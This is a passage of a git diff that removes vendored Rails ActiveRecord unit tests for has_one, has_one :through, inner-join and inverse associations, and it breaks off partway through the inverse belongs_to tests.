-  end
-
-  def test_create_association
-    firm = Firm.create(:name => "GlobalMegaCorp")
-    account = firm.create_account(:credit_limit => 1000)
-    assert_equal account, firm.reload.account
-  end
-
-  def test_build
-    firm = Firm.new("name" => "GlobalMegaCorp")
-    firm.save
-
-    firm.account = account = Account.new("credit_limit" => 1000)
-    assert_equal account, firm.account
-    assert account.save
-    assert_equal account, firm.account
-  end
-
-  def test_failing_build_association
-    firm = Firm.new("name" => "GlobalMegaCorp")
-    firm.save
-
-    firm.account = account = Account.new
-    assert_equal account, firm.account
-    assert !account.save
-    assert_equal account, firm.account
-    assert_equal "can't be empty", account.errors.on("credit_limit")
-  end
-
-  def test_create
-    firm = Firm.new("name" => "GlobalMegaCorp")
-    firm.save
-    firm.account = account = Account.create("credit_limit" => 1000)
-    assert_equal account, firm.account
-  end
-
-  def test_create_before_save
-    firm = Firm.new("name" => "GlobalMegaCorp")
-    firm.account = account = Account.create("credit_limit" => 1000)
-    assert_equal account, firm.account
-  end
-
-  def test_dependence_with_missing_association
-    Account.destroy_all
-    firm = Firm.find(1)
-    assert firm.account.nil?
-    firm.destroy
-  end
-
-  def test_dependence_with_missing_association_and_nullify
-    Account.destroy_all
-    firm = DependentFirm.find(:first)
-    assert firm.account.nil?
-    firm.destroy
-  end
-
-  def test_finding_with_interpolated_condition
-    firm = Firm.find(:first)
-    superior = firm.clients.create(:name => 'SuperiorCo')
-    superior.rating = 10
-    superior.save
-    assert_equal 10, firm.clients_with_interpolated_conditions.first.rating
-  end
-
-  def test_assignment_before_child_saved
-    firm = Firm.find(1)
-    firm.account = a = Account.new("credit_limit" => 1000)
-    assert !a.new_record?
-    assert_equal a, firm.account
-    assert_equal a, firm.account
-    assert_equal a, firm.account(true)
-  end
-
-  def test_save_still_works_after_accessing_nil_has_one
-    jp = Company.new :name => 'Jaded Pixel'
-    jp.dummy_account.nil?
-
-    assert_nothing_raised do
-      jp.save!
-    end
-  end
-
-  def test_cant_save_readonly_association
-    assert_raise(ActiveRecord::ReadOnlyRecord) { companies(:first_firm).readonly_account.save!  }
-    assert companies(:first_firm).readonly_account.readonly?
-  end
-
-  def test_has_one_proxy_should_not_respond_to_private_methods
-    assert_raise(NoMethodError) { accounts(:signals37).private_method }
-    assert_raise(NoMethodError) { companies(:first_firm).account.private_method }
-  end
-
-  def test_has_one_proxy_should_respond_to_private_methods_via_send
-    accounts(:signals37).send(:private_method)
-    companies(:first_firm).account.send(:private_method)
-  end
-
-  def test_save_of_record_with_loaded_has_one
-    @firm = companies(:first_firm)
-    assert_not_nil @firm.account
-
-    assert_nothing_raised do
-      Firm.find(@firm.id).save!
-      Firm.find(@firm.id, :include => :account).save!
-    end
-
-    @firm.account.destroy
-
-    assert_nothing_raised do
-      Firm.find(@firm.id).save!
-      Firm.find(@firm.id, :include => :account).save!
-    end
-  end
-
-  def test_build_respects_hash_condition
-    account = companies(:first_firm).build_account_limit_500_with_hash_conditions
-    assert account.save
-    assert_equal 500, account.credit_limit
-  end
-
-  def test_create_respects_hash_condition
-    account = companies(:first_firm).create_account_limit_500_with_hash_conditions
-    assert       !account.new_record?
-    assert_equal 500, account.credit_limit
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/associations/has_one_through_associations_test.rb b/vendor/rails/activerecord/test/cases/associations/has_one_through_associations_test.rb
deleted file mode 100644
index 9aef3eb3..00000000
--- a/vendor/rails/activerecord/test/cases/associations/has_one_through_associations_test.rb
+++ /dev/null
@@ -1,209 +0,0 @@
-require "cases/helper"
-require 'models/club'
-require 'models/member_type'
-require 'models/member'
-require 'models/membership'
-require 'models/sponsor'
-require 'models/organization'
-require 'models/member_detail'
-
-class HasOneThroughAssociationsTest < ActiveRecord::TestCase
-  fixtures :member_types, :members, :clubs, :memberships, :sponsors, :organizations
-  
-  def setup
-    @member = members(:groucho)
-  end
-
-  def test_has_one_through_with_has_one
-    assert_equal clubs(:boring_club), @member.club
-  end
-
-  def test_has_one_through_with_has_many
-    assert_equal clubs(:moustache_club), @member.favourite_club
-  end
-  
-  def test_creating_association_creates_through_record
-    new_member = Member.create(:name => "Chris")
-    new_member.club = Club.create(:name => "LRUG")
-    assert_not_nil new_member.current_membership
-    assert_not_nil new_member.club
-  end
-
-  def test_creating_association_builds_through_record_for_new
-    new_member = Member.new(:name => "Jane")
-    new_member.club = clubs(:moustache_club)
-    assert new_member.current_membership
-    assert_equal clubs(:moustache_club), new_member.current_membership.club
-    assert_equal clubs(:moustache_club), new_member.club
-    assert new_member.save
-    assert_equal clubs(:moustache_club), new_member.club
-  end
-  
-  def test_replace_target_record
-    new_club = Club.create(:name => "Marx Bros")
-    @member.club = new_club
-    @member.reload
-    assert_equal new_club, @member.club
-  end
-  
-  def test_replacing_target_record_deletes_old_association
-    assert_no_difference "Membership.count" do
-      new_club = Club.create(:name => "Bananarama")
-      @member.club = new_club
-      @member.reload      
-    end
-  end
-
-  def test_set_record_to_nil_should_delete_association
-    @member.club = nil
-    @member.reload
-    assert_equal nil, @member.current_membership
-    assert_nil @member.club
-  end
-
-  def test_has_one_through_polymorphic
-    assert_equal clubs(:moustache_club), @member.sponsor_club
-  end
-
-  def has_one_through_to_has_many
-    assert_equal 2, @member.fellow_members.size
-  end
-
-  def test_has_one_through_eager_loading
-    members = assert_queries(3) do #base table, through table, clubs table
-      Member.find(:all, :include => :club, :conditions => ["name = ?", "Groucho Marx"])
-    end
-    assert_equal 1, members.size
-    assert_not_nil assert_no_queries {members[0].club}
-  end
-
-  def test_has_one_through_eager_loading_through_polymorphic
-    members = assert_queries(3) do #base table, through table, clubs table
-      Member.find(:all, :include => :sponsor_club, :conditions => ["name = ?", "Groucho Marx"])
-    end
-    assert_equal 1, members.size
-    assert_not_nil assert_no_queries {members[0].sponsor_club}    
-  end
-
-  def test_has_one_through_polymorphic_with_source_type
-    assert_equal members(:groucho), clubs(:moustache_club).sponsored_member
-  end
-
-  def test_eager_has_one_through_polymorphic_with_source_type
-    clubs = Club.find(:all, :include => :sponsored_member, :conditions => ["name = ?","Moustache and Eyebrow Fancier Club"])
-    # Only the eyebrow fanciers club has a sponsored_member
-    assert_not_nil assert_no_queries {clubs[0].sponsored_member}
-  end
-
-  def test_has_one_through_nonpreload_eagerloading
-    members = assert_queries(1) do
-      Member.find(:all, :include => :club, :conditions => ["members.name = ?", "Groucho Marx"], :order => 'clubs.name') #force fallback
-    end
-    assert_equal 1, members.size
-    assert_not_nil assert_no_queries {members[0].club}
-  end
-
-  def test_has_one_through_nonpreload_eager_loading_through_polymorphic
-    members = assert_queries(1) do
-      Member.find(:all, :include => :sponsor_club, :conditions => ["members.name = ?", "Groucho Marx"], :order => 'clubs.name') #force fallback
-    end
-    assert_equal 1, members.size
-    assert_not_nil assert_no_queries {members[0].sponsor_club}
-  end
-
-  def test_has_one_through_nonpreload_eager_loading_through_polymorphic_with_more_than_one_through_record
-    Sponsor.new(:sponsor_club => clubs(:crazy_club), :sponsorable => members(:groucho)).save!
-    members = assert_queries(1) do
-      Member.find(:all, :include => :sponsor_club, :conditions => ["members.name = ?", "Groucho Marx"], :order => 'clubs.name DESC') #force fallback
-    end
-    assert_equal 1, members.size
-    assert_not_nil assert_no_queries { members[0].sponsor_club }
-    assert_equal clubs(:crazy_club), members[0].sponsor_club
-  end
-
-  def test_uninitialized_has_one_through_should_return_nil_for_unsaved_record
-    assert_nil Member.new.club
-  end
-
-  def test_assigning_association_correctly_assigns_target
-    new_member = Member.create(:name => "Chris")
-    new_member.club = new_club = Club.create(:name => "LRUG")
-    assert_equal new_club, new_member.club.target
-  end
-
-  def test_has_one_through_proxy_should_not_respond_to_private_methods
-    assert_raise(NoMethodError) { clubs(:moustache_club).private_method }
-    assert_raise(NoMethodError) { @member.club.private_method }
-  end
-
-  def test_has_one_through_proxy_should_respond_to_private_methods_via_send
-    clubs(:moustache_club).send(:private_method)
-    @member.club.send(:private_method)
-  end
-
-  def test_assigning_to_has_one_through_preserves_decorated_join_record
-    @organization = organizations(:nsa)
-    assert_difference 'MemberDetail.count', 1 do
-      @member_detail = MemberDetail.new(:extra_data => 'Extra')
-      @member.member_detail = @member_detail
-      @member.organization = @organization
-    end
-    assert_equal @organization, @member.organization
-    assert @organization.members.include?(@member)
-    assert_equal 'Extra', @member.member_detail.extra_data
-  end
-
-  def test_reassigning_has_one_through
-    @organization = organizations(:nsa)
-    @new_organization = organizations(:discordians)
-
-    assert_difference 'MemberDetail.count', 1 do
-      @member_detail = MemberDetail.new(:extra_data => 'Extra')
-      @member.member_detail = @member_detail
-      @member.organization = @organization
-    end
-    assert_equal @organization, @member.organization
-    assert_equal 'Extra', @member.member_detail.extra_data
-    assert @organization.members.include?(@member)
-    assert !@new_organization.members.include?(@member)
-
-    assert_no_difference 'MemberDetail.count' do
-      @member.organization = @new_organization
-    end
-    assert_equal @new_organization, @member.organization
-    assert_equal 'Extra', @member.member_detail.extra_data
-    assert !@organization.members.include?(@member)
-    assert @new_organization.members.include?(@member)
-  end
-
-  def test_preloading_has_one_through_on_belongs_to
-    assert_not_nil @member.member_type
-    @organization = organizations(:nsa)
-    @member_detail = MemberDetail.new
-    @member.member_detail = @member_detail
-    @member.organization = @organization
-    @member_details = assert_queries(3) do
-      MemberDetail.find(:all, :include => :member_type)
-    end
-    @new_detail = @member_details[0]
-    assert @new_detail.loaded_member_type?
-    assert_not_nil assert_no_queries { @new_detail.member_type }
-  end
-
-  def test_save_of_record_with_loaded_has_one_through
-    @club = @member.club
-    assert_not_nil @club.sponsored_member
-
-    assert_nothing_raised do
-      Club.find(@club.id).save!
-      Club.find(@club.id, :include => :sponsored_member).save!
-    end
-
-    @club.sponsor.destroy
-
-    assert_nothing_raised do
-      Club.find(@club.id).save!
-      Club.find(@club.id, :include => :sponsored_member).save!
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/associations/inner_join_association_test.rb b/vendor/rails/activerecord/test/cases/associations/inner_join_association_test.rb
deleted file mode 100644
index 71415317..00000000
--- a/vendor/rails/activerecord/test/cases/associations/inner_join_association_test.rb
+++ /dev/null
@@ -1,93 +0,0 @@
-require "cases/helper"
-require 'models/post'
-require 'models/comment'
-require 'models/author'
-require 'models/category'
-require 'models/categorization'
-
-class InnerJoinAssociationTest < ActiveRecord::TestCase
-  fixtures :authors, :posts, :comments, :categories, :categories_posts, :categorizations
-
-  def test_construct_finder_sql_creates_inner_joins
-    sql = Author.send(:construct_finder_sql, :joins => :posts)
-    assert_match /INNER JOIN .?posts.? ON .?posts.?.author_id = authors.id/, sql
-  end
-
-  def test_construct_finder_sql_cascades_inner_joins
-    sql = Author.send(:construct_finder_sql, :joins => {:posts => :comments})
-    assert_match /INNER JOIN .?posts.? ON .?posts.?.author_id = authors.id/, sql
-    assert_match /INNER JOIN .?comments.? ON .?comments.?.post_id = posts.id/, sql
-  end
-
-  def test_construct_finder_sql_inner_joins_through_associations
-    sql = Author.send(:construct_finder_sql, :joins => :categorized_posts)
-    assert_match /INNER JOIN .?categorizations.?.*INNER JOIN .?posts.?/, sql
-  end
-
-  def test_construct_finder_sql_applies_association_conditions
-    sql = Author.send(:construct_finder_sql, :joins => :categories_like_general, :conditions => "TERMINATING_MARKER")
-    assert_match /INNER JOIN .?categories.? ON.*AND.*.?General.?.*TERMINATING_MARKER/, sql
-  end
-
-  def test_construct_finder_sql_applies_aliases_tables_on_association_conditions
-    result = Author.find(:all, :joins => [:thinking_posts, :welcome_posts])
-    assert_equal authors(:david), result.first
-  end
-
-  def test_construct_finder_sql_unpacks_nested_joins
-    sql = Author.send(:construct_finder_sql, :joins => {:posts => [[:comments]]})
-    assert_no_match /inner join.*inner join.*inner join/i, sql, "only two join clauses should be present"
-    assert_match /INNER JOIN .?posts.? ON .?posts.?.author_id = authors.id/, sql
-    assert_match /INNER JOIN .?comments.? ON .?comments.?.post_id = .?posts.?.id/, sql
-  end
-
-  def test_construct_finder_sql_ignores_empty_joins_hash
-    sql = Author.send(:construct_finder_sql, :joins => {})
-    assert_no_match /JOIN/i, sql
-  end
-
-  def test_construct_finder_sql_ignores_empty_joins_array
-    sql = Author.send(:construct_finder_sql, :joins => [])
-    assert_no_match /JOIN/i, sql
-  end
-
-  def test_find_with_implicit_inner_joins_honors_readonly_without_select
-    authors = Author.find(:all, :joins => :posts)
-    assert !authors.empty?, "expected authors to be non-empty"
-    assert authors.all? {|a| a.readonly? }, "expected all authors to be readonly"
-  end
-
-  def test_find_with_implicit_inner_joins_honors_readonly_with_select
-    authors = Author.find(:all, :select => 'authors.*', :joins => :posts)
-    assert !authors.empty?, "expected authors to be non-empty"
-    assert authors.all? {|a| !a.readonly? }, "expected no authors to be readonly"
-  end
-
-  def test_find_with_implicit_inner_joins_honors_readonly_false
-    authors = Author.find(:all, :joins => :posts, :readonly => false)
-    assert !authors.empty?, "expected authors to be non-empty"
-    assert authors.all? {|a| !a.readonly? }, "expected no authors to be readonly"
-  end
-
-  def test_find_with_implicit_inner_joins_does_not_set_associations
-    authors = Author.find(:all, :select => 'authors.*', :joins => :posts)
-    assert !authors.empty?, "expected authors to be non-empty"
-    assert authors.all? {|a| !a.send(:instance_variable_names).include?("@posts")}, "expected no authors to have the @posts association loaded"
-  end
-
-  def test_count_honors_implicit_inner_joins
-    real_count = Author.find(:all).sum{|a| a.posts.count }
-    assert_equal real_count, Author.count(:joins => :posts), "plain inner join count should match the number of referenced posts records"
-  end
-
-  def test_calculate_honors_implicit_inner_joins
-    real_count = Author.find(:all).sum{|a| a.posts.count }
-    assert_equal real_count, Author.calculate(:count, 'authors.id', :joins => :posts), "plain inner join count should match the number of referenced posts records"
-  end
-
-  def test_calculate_honors_implicit_inner_joins_and_distinct_and_conditions
-    real_count = Author.find(:all).select {|a| a.posts.any? {|p| p.title =~ /^Welcome/} }.length
-    authors_with_welcoming_post_titles = Author.calculate(:count, 'authors.id', :joins => :posts, :distinct => true, :conditions => "posts.title like 'Welcome%'")
-    assert_equal real_count, authors_with_welcoming_post_titles, "inner join and conditions should have only returned authors posting titles starting with 'Welcome'"
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/associations/inverse_associations_test.rb b/vendor/rails/activerecord/test/cases/associations/inverse_associations_test.rb
deleted file mode 100644
index ee027b27..00000000
--- a/vendor/rails/activerecord/test/cases/associations/inverse_associations_test.rb
+++ /dev/null
@@ -1,566 +0,0 @@
-require "cases/helper"
-require 'models/man'
-require 'models/face'
-require 'models/interest'
-require 'models/zine'
-require 'models/club'
-require 'models/sponsor'
-
-class InverseAssociationTests < ActiveRecord::TestCase
-  def test_should_allow_for_inverse_of_options_in_associations
-    assert_nothing_raised(ArgumentError, 'ActiveRecord should allow the inverse_of options on has_many') do
-      Class.new(ActiveRecord::Base).has_many(:wheels, :inverse_of => :car)
-    end
-
-    assert_nothing_raised(ArgumentError, 'ActiveRecord should allow the inverse_of options on has_one') do
-      Class.new(ActiveRecord::Base).has_one(:engine, :inverse_of => :car)
-    end
-
-    assert_nothing_raised(ArgumentError, 'ActiveRecord should allow the inverse_of options on belongs_to') do
-      Class.new(ActiveRecord::Base).belongs_to(:car, :inverse_of => :driver)
-    end
-  end
-
-  def test_should_be_able_to_ask_a_reflection_if_it_has_an_inverse
-    has_one_with_inverse_ref = Man.reflect_on_association(:face)
-    assert has_one_with_inverse_ref.respond_to?(:has_inverse?)
-    assert has_one_with_inverse_ref.has_inverse?
-
-    has_many_with_inverse_ref = Man.reflect_on_association(:interests)
-    assert has_many_with_inverse_ref.respond_to?(:has_inverse?)
-    assert has_many_with_inverse_ref.has_inverse?
-
-    belongs_to_with_inverse_ref = Face.reflect_on_association(:man)
-    assert belongs_to_with_inverse_ref.respond_to?(:has_inverse?)
-    assert belongs_to_with_inverse_ref.has_inverse?
-
-    has_one_without_inverse_ref = Club.reflect_on_association(:sponsor)
-    assert has_one_without_inverse_ref.respond_to?(:has_inverse?)
-    assert !has_one_without_inverse_ref.has_inverse?
-
-    has_many_without_inverse_ref = Club.reflect_on_association(:memberships)
-    assert has_many_without_inverse_ref.respond_to?(:has_inverse?)
-    assert !has_many_without_inverse_ref.has_inverse?
-
-    belongs_to_without_inverse_ref = Sponsor.reflect_on_association(:sponsor_club)
-    assert belongs_to_without_inverse_ref.respond_to?(:has_inverse?)
-    assert !belongs_to_without_inverse_ref.has_inverse?
-  end
-
-  def test_should_be_able_to_ask_a_reflection_what_it_is_the_inverse_of
-    has_one_ref = Man.reflect_on_association(:face)
-    assert has_one_ref.respond_to?(:inverse_of)
-
-    has_many_ref = Man.reflect_on_association(:interests)
-    assert has_many_ref.respond_to?(:inverse_of)
-
-    belongs_to_ref = Face.reflect_on_association(:man)
-    assert belongs_to_ref.respond_to?(:inverse_of)
-  end
-
-  def test_inverse_of_method_should_supply_the_actual_reflection_instance_it_is_the_inverse_of
-    has_one_ref = Man.reflect_on_association(:face)
-    assert_equal Face.reflect_on_association(:man), has_one_ref.inverse_of
-
-    has_many_ref = Man.reflect_on_association(:interests)
-    assert_equal Interest.reflect_on_association(:man), has_many_ref.inverse_of
-
-    belongs_to_ref = Face.reflect_on_association(:man)
-    assert_equal Man.reflect_on_association(:face), belongs_to_ref.inverse_of
-  end
-
-  def test_associations_with_no_inverse_of_should_return_nil
-    has_one_ref = Club.reflect_on_association(:sponsor)
-    assert_nil has_one_ref.inverse_of
-
-    has_many_ref = Club.reflect_on_association(:memberships)
-    assert_nil has_many_ref.inverse_of
-
-    belongs_to_ref = Sponsor.reflect_on_association(:sponsor_club)
-    assert_nil belongs_to_ref.inverse_of
-  end
-end
-
-class InverseHasOneTests < ActiveRecord::TestCase
-  fixtures :men, :faces
-
-  def test_parent_instance_should_be_shared_with_child_on_find
-    m = men(:gordon)
-    f = m.face
-    assert_equal m.name, f.man.name, "Name of man should be the same before changes to parent instance"
-    m.name = 'Bongo'
-    assert_equal m.name, f.man.name, "Name of man should be the same after changes to parent instance"
-    f.man.name = 'Mungo'
-    assert_equal m.name, f.man.name, "Name of man should be the same after changes to child-owned instance"
-  end
-
-  def test_parent_instance_should_be_shared_with_eager_loaded_child_on_find
-    m = Man.find(:first, :conditions => {:name => 'Gordon'}, :include => :face)
-    f = m.face
-    assert_equal m.name, f.man.name, "Name of man should be the same before changes to parent instance"
-    m.name = 'Bongo'
-    assert_equal m.name, f.man.name, "Name of man should be the same after changes to parent instance"
-    f.man.name = 'Mungo'
-    assert_equal m.name, f.man.name, "Name of man should be the same after changes to child-owned instance"
-
-    m = Man.find(:first, :conditions => {:name => 'Gordon'}, :include => :face, :order => 'faces.id')
-    f = m.face
-    assert_equal m.name, f.man.name, "Name of man should be the same before changes to parent instance"
-    m.name = 'Bongo'
-    assert_equal m.name, f.man.name, "Name of man should be the same after changes to parent instance"
-    f.man.name = 'Mungo'
-    assert_equal m.name, f.man.name, "Name of man should be the same after changes to child-owned instance"
-  end
-
-  def test_parent_instance_should_be_shared_with_newly_built_child
-    m = men(:gordon)
-    f = m.build_face(:description => 'haunted')
-    assert_not_nil f.man
-    assert_equal m.name, f.man.name, "Name of man should be the same before changes to parent instance"
-    m.name = 'Bongo'
-    assert_equal m.name, f.man.name, "Name of man should be the same after changes to parent instance"
-    f.man.name = 'Mungo'
-    assert_equal m.name, f.man.name, "Name of man should be the same after changes to just-built-child-owned instance"
-  end
-
-  def test_parent_instance_should_be_shared_with_newly_created_child
-    m = men(:gordon)
-    f = m.create_face(:description => 'haunted')
-    assert_not_nil f.man
-    assert_equal m.name, f.man.name, "Name of man should be the same before changes to parent instance"
-    m.name = 'Bongo'
-    assert_equal m.name, f.man.name, "Name of man should be the same after changes to parent instance"
-    f.man.name = 'Mungo'
-    assert_equal m.name, f.man.name, "Name of man should be the same after changes to newly-created-child-owned instance"
-  end
-
-  def test_parent_instance_should_be_shared_with_newly_created_child_via_bang_method
-    m = Man.find(:first)
-    f = m.face.create!(:description => 'haunted')
-    assert_not_nil f.man
-    assert_equal m.name, f.man.name, "Name of man should be the same before changes to parent instance"
-    m.name = 'Bongo'
-    assert_equal m.name, f.man.name, "Name of man should be the same after changes to parent instance"
-    f.man.name = 'Mungo'
-    assert_equal m.name, f.man.name, "Name of man should be the same after changes to newly-created-child-owned instance"
-  end
-
-  def test_parent_instance_should_be_shared_with_newly_built_child_when_we_dont_replace_existing
-    m = Man.find(:first)
-    f = m.build_face({:description => 'haunted'}, false)
-    assert_not_nil f.man
-    assert_equal m.name, f.man.name, "Name of man should be the same before changes to parent instance"
-    m.name = 'Bongo'
-    assert_equal m.name, f.man.name, "Name of man should be the same after changes to parent instance"
-    f.man.name = 'Mungo'
-    assert_equal m.name, f.man.name, "Name of man should be the same after changes to just-built-child-owned instance"
-  end
-
-  def test_parent_instance_should_be_shared_with_newly_created_child_when_we_dont_replace_existing
-    m = Man.find(:first)
-    f = m.create_face({:description => 'haunted'}, false)
-    assert_not_nil f.man
-    assert_equal m.name, f.man.name, "Name of man should be the same before changes to parent instance"
-    m.name = 'Bongo'
-    assert_equal m.name, f.man.name, "Name of man should be the same after changes to parent instance"
-    f.man.name = 'Mungo'
-    assert_equal m.name, f.man.name, "Name of man should be the same after changes to newly-created-child-owned instance"
-  end
-
-  def test_parent_instance_should_be_shared_with_newly_created_child_via_bang_method_when_we_dont_replace_existing
-    m = Man.find(:first)
-    f = m.face.create!({:description => 'haunted'}, false)
-    assert_not_nil f.man
-    assert_equal m.name, f.man.name, "Name of man should be the same before changes to parent instance"
-    m.name = 'Bongo'
-    assert_equal m.name, f.man.name, "Name of man should be the same after changes to parent instance"
-    f.man.name = 'Mungo'
-    assert_equal m.name, f.man.name, "Name of man should be the same after changes to newly-created-child-owned instance"
-  end
-
-  def test_parent_instance_should_be_shared_with_replaced_via_accessor_child
-    m = Man.find(:first)
-    f = Face.new(:description => 'haunted')
-    m.face = f
-    assert_not_nil f.man
-    assert_equal m.name, f.man.name, "Name of man should be the same before changes to parent instance"
-    m.name = 'Bongo'
-    assert_equal m.name, f.man.name, "Name of man should be the same after changes to parent instance"
-    f.man.name = 'Mungo'
-    assert_equal m.name, f.man.name, "Name of man should be the same after changes to replaced-child-owned instance"
-  end
-
-  def test_parent_instance_should_be_shared_with_replaced_via_method_child
-    m = Man.find(:first)
-    f = Face.new(:description => 'haunted')
-    m.face.replace(f)
-    assert_not_nil f.man
-    assert_equal m.name, f.man.name, "Name of man should be the same before changes to parent instance"
-    m.name = 'Bongo'
-    assert_equal m.name, f.man.name, "Name of man should be the same after changes to parent instance"
-    f.man.name = 'Mungo'
-    assert_equal m.name, f.man.name, "Name of man should be the same after changes to replaced-child-owned instance"
-  end
-
-  def test_parent_instance_should_be_shared_with_replaced_via_method_child_when_we_dont_replace_existing
-    m = Man.find(:first)
-    f = Face.new(:description => 'haunted')
-    m.face.replace(f, false)
-    assert_not_nil f.man
-    assert_equal m.name, f.man.name, "Name of man should be the same before changes to parent instance"
-    m.name = 'Bongo'
-    assert_equal m.name, f.man.name, "Name of man should be the same after changes to parent instance"
-    f.man.name = 'Mungo'
-    assert_equal m.name, f.man.name, "Name of man should be the same after changes to replaced-child-owned instance"
-  end
-
-  def test_trying_to_use_inverses_that_dont_exist_should_raise_an_error
-    assert_raise(ActiveRecord::InverseOfAssociationNotFoundError) { Man.find(:first).dirty_face }
-  end
-end
-
-class InverseHasManyTests < ActiveRecord::TestCase
-  fixtures :men, :interests
-
-  def test_parent_instance_should_be_shared_with_every_child_on_find
-    m = men(:gordon)
-    is = m.interests
-    is.each do |i|
-      assert_equal m.name, i.man.name, "Name of man should be the same before changes to parent instance"
-      m.name = 'Bongo'
-      assert_equal m.name, i.man.name, "Name of man should be the same after changes to parent instance"
-      i.man.name = 'Mungo'
-      assert_equal m.name, i.man.name, "Name of man should be the same after changes to child-owned instance"
-    end
-  end
-
-  def test_parent_instance_should_be_shared_with_eager_loaded_children
-    m = Man.find(:first, :conditions => {:name => 'Gordon'}, :include => :interests)
-    is = m.interests
-    is.each do |i|
-      assert_equal m.name, i.man.name, "Name of man should be the same before changes to parent instance"
-      m.name = 'Bongo'
-      assert_equal m.name, i.man.name, "Name of man should be the same after changes to parent instance"
-      i.man.name = 'Mungo'
-      assert_equal m.name, i.man.name, "Name of man should be the same after changes to child-owned instance"
-    end
-
-    m = Man.find(:first, :conditions => {:name => 'Gordon'}, :include => :interests, :order => 'interests.id')
-    is = m.interests
-    is.each do |i|
-      assert_equal m.name, i.man.name, "Name of man should be the same before changes to parent instance"
-      m.name = 'Bongo'
-      assert_equal m.name, i.man.name, "Name of man should be the same after changes to parent instance"
-      i.man.name = 'Mungo'
-      assert_equal m.name, i.man.name, "Name of man should be the same after changes to child-owned instance"
-    end
-  end
-
-  def test_parent_instance_should_be_shared_with_newly_built_child
-    m = men(:gordon)
-    i = m.interests.build(:topic => 'Industrial Revolution Re-enactment')
-    assert_not_nil i.man
-    assert_equal m.name, i.man.name, "Name of man should be the same before changes to parent instance"
-    m.name = 'Bongo'
-    assert_equal m.name, i.man.name, "Name of man should be the same after changes to parent instance"
-    i.man.name = 'Mungo'
-    assert_equal m.name, i.man.name, "Name of man should be the same after changes to just-built-child-owned instance"
-  end
-
-  def test_parent_instance_should_be_shared_with_newly_block_style_built_child
-    m = Man.find(:first)
-    i = m.interests.build {|ii| ii.topic = 'Industrial Revolution Re-enactment'}
-    assert_not_nil i.topic, "Child attributes supplied to build via blocks should be populated"
-    assert_not_nil i.man
-    assert_equal m.name, i.man.name, "Name of man should be the same before changes to parent instance"
-    m.name = 'Bongo'
-    assert_equal m.name, i.man.name, "Name of man should be the same after changes to parent instance"
-    i.man.name = 'Mungo'
-    assert_equal m.name, i.man.name, "Name of man should be the same after changes to just-built-child-owned instance"
-  end
-
-  def test_parent_instance_should_be_shared_with_newly_created_child
-    m = men(:gordon)
-    i = m.interests.create(:topic => 'Industrial Revolution Re-enactment')
-    assert_not_nil i.man
-    assert_equal m.name, i.man.name, "Name of man should be the same before changes to parent instance"
-    m.name = 'Bongo'
-    assert_equal m.name, i.man.name, "Name of man should be the same after changes to parent instance"
-    i.man.name = 'Mungo'
-    assert_equal m.name, i.man.name, "Name of man should be the same after changes to newly-created-child-owned instance"
-  end
-
-  def test_parent_instance_should_be_shared_with_newly_created_via_bang_method_child
-    m = Man.find(:first)
-    i = m.interests.create!(:topic => 'Industrial Revolution Re-enactment')
-    assert_not_nil i.man
-    assert_equal m.name, i.man.name, "Name of man should be the same before changes to parent instance"
-    m.name = 'Bongo'
-    assert_equal m.name, i.man.name, "Name of man should be the same after changes to parent instance"
-    i.man.name = 'Mungo'
-    assert_equal m.name, i.man.name, "Name of man should be the same after changes to newly-created-child-owned instance"
-  end
-
-  def test_parent_instance_should_be_shared_with_newly_block_style_created_child
-    m = Man.find(:first)
-    i = m.interests.create {|ii| ii.topic = 'Industrial Revolution Re-enactment'}
-    assert_not_nil i.topic, "Child attributes supplied to create via blocks should be populated"
-    assert_not_nil i.man
-    assert_equal m.name, i.man.name, "Name of man should be the same before changes to parent instance"
-    m.name = 'Bongo'
-    assert_equal m.name, i.man.name, "Name of man should be the same after changes to parent instance"
-    i.man.name = 'Mungo'
-    assert_equal m.name, i.man.name, "Name of man should be the same after changes to newly-created-child-owned instance"
-  end
-
-  def test_parent_instance_should_be_shared_with_poked_in_child
-    m = men(:gordon)
-    i = Interest.create(:topic => 'Industrial Revolution Re-enactment')
-    m.interests << i
-    assert_not_nil i.man
-    assert_equal m.name, i.man.name, "Name of man should be the same before changes to parent instance"
-    m.name = 'Bongo'
-    assert_equal m.name, i.man.name, "Name of man should be the same after changes to parent instance"
-    i.man.name = 'Mungo'
-    assert_equal m.name, i.man.name, "Name of man should be the same after changes to newly-created-child-owned instance"
-  end
-
-  def test_parent_instance_should_be_shared_with_replaced_via_accessor_children
-    m = Man.find(:first)
-    i = Interest.new(:topic => 'Industrial Revolution Re-enactment')
-    m.interests = [i]
-    assert_not_nil i.man
-    assert_equal m.name, i.man.name, "Name of man should be the same before changes to parent instance"
-    m.name = 'Bongo'
-    assert_equal m.name, i.man.name, "Name of man should be the same after changes to parent instance"
-    i.man.name = 'Mungo'
-    assert_equal m.name, i.man.name, "Name of man should be the same after changes to replaced-child-owned instance"
-  end
-
-  def test_parent_instance_should_be_shared_with_replaced_via_method_children
-    m = Man.find(:first)
-    i = Interest.new(:topic => 'Industrial Revolution Re-enactment')
-    m.interests.replace([i])
-    assert_not_nil i.man
-    assert_equal m.name, i.man.name, "Name of man should be the same before changes to parent instance"
-    m.name = 'Bongo'
-    assert_equal m.name, i.man.name, "Name of man should be the same after changes to parent instance"
-    i.man.name = 'Mungo'
-    assert_equal m.name, i.man.name, "Name of man should be the same after changes to replaced-child-owned instance"
-  end
-
-  def test_trying_to_use_inverses_that_dont_exist_should_raise_an_error
-    assert_raise(ActiveRecord::InverseOfAssociationNotFoundError) { Man.find(:first).secret_interests }
-  end
-end
-
-class InverseBelongsToTests < ActiveRecord::TestCase
-  fixtures :men, :faces, :interests
-
-  def test_child_instance_should_be_shared_with_parent_on_find
-    f = faces(:trusting)
-    m = f.man
-    assert_equal f.description, m.face.description, "Description of face should be the same before changes to child instance"
-    f.description = 'gormless'
-    assert_equal f.description, m.face.description, "Description of face should be the same after changes to child instance"
-    m.face.description = 'pleasing'
-    assert_equal f.description, m.face.description, "Description of face should be the same after changes to parent-owned instance"
-  end
-
-  def test_eager_loaded_child_instance_should_be_shared_with_parent_on_find
-    f = Face.find(:first, :include => :man, :conditions => {:description => 'trusting'})
-    m = f.man
-    assert_equal f.description, m.face.description, "Description of face should be the same before changes to child instance"
-    f.description = 'gormless'
-    assert_equal f.description, m.face.description, "Description of face should be the same after changes to child instance"
-    m.face.description = 'pleasing'
-    assert_equal f.description, m.face.description, "Description of face should be the same after changes to parent-owned instance"
-
